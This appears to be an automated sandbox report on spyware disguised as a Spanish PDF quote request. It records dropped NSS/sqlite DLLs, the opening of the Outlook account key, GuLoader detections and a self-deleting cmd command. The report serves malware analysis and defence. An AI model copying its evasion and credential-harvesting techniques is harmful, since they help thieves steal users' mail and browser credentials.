Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000000.00000000.225582009.000000000041A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUdlgni4.exe vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317097027.0000000066BD0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.316993403.000000001E160000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.316942868.000000001DD80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll8 vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317595619.000000006D9DB000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamenss3.dll8 vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.316959971.000000001DED0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317004200.000000001E170000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000000.249007512.000000000041A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUdlgni4.exe vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Binary or memory string: OriginalFilenameUdlgni4.exe vs SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/67@3/4

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Code function: 2_2_6D86ADB0 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6D86ADB0

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

File created: C:\Users\user\AppData\LocalLow\sqlite3.dll

Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Mutant created: \Sessions\1\BaseNamedObjects\uiabfqwfuuser
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6748:120:WilError_01

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

File created: C:\Users\user\AppData\Local\Temp\~DFDD95C7EBD0200746.TMP

Jump to behavior

Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3.dll.2.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);<
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: sqlite3.dll.2.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: sqlite3.dll.2.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: unknown	Process created: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'	Jump to behavior
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 'C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK	Jump to behavior

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager

Jump to behavior

Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.2.dr
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: api-ms-win-crt-locale-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\gfx\angle\targets\libEGL\libEGL.pdb source: libEGL.dll.2.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: api-ms-win-crt-runtime-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb source: IA2Marshal.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libprldap\prldap60.pdb source: prldap60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317531184.000000006D9A0000.00000002.00020000.sdmp, nss3.dll.2.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: api-ms-win-core-file-l1-2-0.dll.2.dr
Source:	Binary string: ucrtbase.pdb source: ucrtbase.dll.2.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: api-ms-win-core-memory-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: api-ms-win-core-sysinfo-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.2.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: api-ms-win-crt-filesystem-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: api-ms-win-crt-stdio-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: api-ms-win-core-heap-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: api-ms-win-core-util-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: api-ms-win-core-synch-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: api-ms-win-crt-environment-l1-1-0.dll.2.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb source: nssckbi.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: softokn3.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp, mozglue.dll.2.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: api-ms-win-crt-private-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: api-ms-win-crt-convert-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\ipc\win\handler\AccessibleHandler.pdb source: AccessibleHandler.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: nssdbm3.dll.2.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapihook\build\MapiProxy.pdb source: MapiProxy.dll.2.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: api-ms-win-core-profile-l1-1-0.dll.2.dr
Source:	Binary string: ucrtbase.pdbUGP source: ucrtbase.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.2.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: api-ms-win-crt-time-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\ckfw\builtins\builtins_nssckbi\nssckbi.pdb66 source: nssckbi.dll.2.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: api-ms-win-core-handle-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: softokn3.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\ia2\IA2Marshal.pdb<< source: IA2Marshal.dll.2.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: api-ms-win-core-processenvironment-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe, 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp, mozglue.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.2.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: api-ms-win-core-localization-l1-2-0.dll.2.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.2.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.2.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.2.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: api-ms-win-crt-utility-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\mailnews\mapi\mapiDLL\mozMapi32.pdb source: mozMapi32.dll.2.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: api-ms-win-core-rtlsupport-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: api-ms-win-core-timezone-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: api-ms-win-core-string-l1-1-0.dll.2.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.2.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: api-ms-win-core-file-l2-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: api-ms-win-crt-process-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\config\external\lgpllibs\lgpllibs.pdb source: lgpllibs.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: nssdbm3.dll.2.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: api-ms-win-core-interlocked-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\crashreporter\injector\breakpadinjector.pdb source: breakpadinjector.dll.2.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: api-ms-win-crt-heap-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.2.dr

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 00000002.00000002.313364575.0000000000561000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 4516, type: MEMORY
Source: Yara match	File source: Process Memory Space: SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe PID: 1688, type: MEMORY

Source: sqlite3.dll.2.dr	Static PE information: section name: /4
Source: sqlite3.dll.2.dr	Static PE information: section name: /19
Source: sqlite3.dll.2.dr	Static PE information: section name: /31
Source: sqlite3.dll.2.dr	Static PE information: section name: /45
Source: sqlite3.dll.2.dr	Static PE information: section name: /57
Source: sqlite3.dll.2.dr	Static PE information: section name: /70
Source: sqlite3.dll.2.dr	Static PE information: section name: /81
Source: sqlite3.dll.2.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00402462 pushfd ; iretd	0_2_00402491
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_0040327E push dword ptr [edi-4B012F33h]; retf	0_2_00403291
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00402492 pushfd ; iretd	0_2_00402495
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00402696 pushfd ; iretd	0_2_00402699
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00402F6D pushfd ; iretd	0_2_00402F75
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00403700 push fs; ret	0_2_00403799
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_00403326 pushfd ; iretd	0_2_00403329
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_004051DC pushfd ; iretd	0_2_004051DD
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 0_2_004043DD pushfd ; iretd	0_2_004043E1
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Code function: 2_2_6D878646 push ecx; ret	2_2_6D878659

Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	File created: C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
